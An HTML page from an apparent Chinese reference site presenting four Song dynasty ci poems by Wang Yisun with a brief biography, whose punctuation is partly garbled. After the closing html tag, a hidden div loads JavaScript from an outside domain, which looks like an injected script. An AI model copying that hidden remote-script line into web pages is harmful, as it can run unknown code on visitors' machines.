<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-王沂孙</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>王沂孙</strong></span></div>

	<div class="Cont_tit sc">
		<h1>王沂孙</h1>
		<span>宋末词人。字圣与o号碧山o又号中仙r家住玉笥山o亦号玉笥山人。会稽(今浙江绍兴)人。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>齐天乐</strong></div><div class="sc_det_cont">蝉<br/>一襟馀恨宫魂断，年年翠阴庭树。乍咽凉柯，还移暗叶，重把离愁深诉。西窗过雨，怪瑶佩流空，玉筝调柱。<br/>镜暗妆残，为谁娇鬓尚如许？铜仙铅泪，似斜阳几度？馀音更苦，甚独抱清商，顿成凄楚。漫想熏风，柳丝千万缕。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>法曲献仙音</strong></div><div class="sc_det_cont">聚景亭梅次草窗韵<br/>层绿峨峨，纤琼皎皎，倒压波痕清浅。过眼年华，动人幽意，相逢几番春换。记唤酒寻芳处，盈盈褪妆晚。<br/>已消黯，况凄凉近来离思，应忘却明月，夜深归辇。荏苒一枝春，恨东风人似天远。纵有残花，洒征衣、铅泪都满。但殷鄞折取，自遗一襟幽怨。</div></div><div class="clear"></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>天香</strong></div><div class="sc_det_cont">龙涎香<br/>孤峤蟠烟，层涛蜕月，骊宫夜采铅水。汛远槎风，梦深薇露，化作断魂心字。红磁候火，还乍识、冰环玉指。一缕萦帘翠影，依稀海天云气。<br/>几回娇半醉，剪春灯、夜寒花碎。更好故溪飞雪，小窗深闭。荀令如今顿老，总忘却、尊前旧风味。漫惜馀薰，空篝素被。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>长亭怨慢</strong></div><div class="sc_det_cont">重过中庵故园<br/>泛孤艇东皋过遍，尚记当日，绿阴门掩。屐齿莓苔，酒痕罗袖事何限？欲寻前迹，空惆怅成秋苑。自约赏花人，别后总风流云散。<br/>水远，怎知流水外，却是乱山尤远。天涯梦短，想忘了绮疏雕槛。望不尽冉冉斜阳，抚乔木年华将晚。但数点红英，犹识西园凄婉。</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>王沂孙</span>&nbsp; &nbsp; 宋词翻页： [<a href="51_1.htm">下一页</a>]&nbsp; &nbsp; 页数： <span>1/2</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>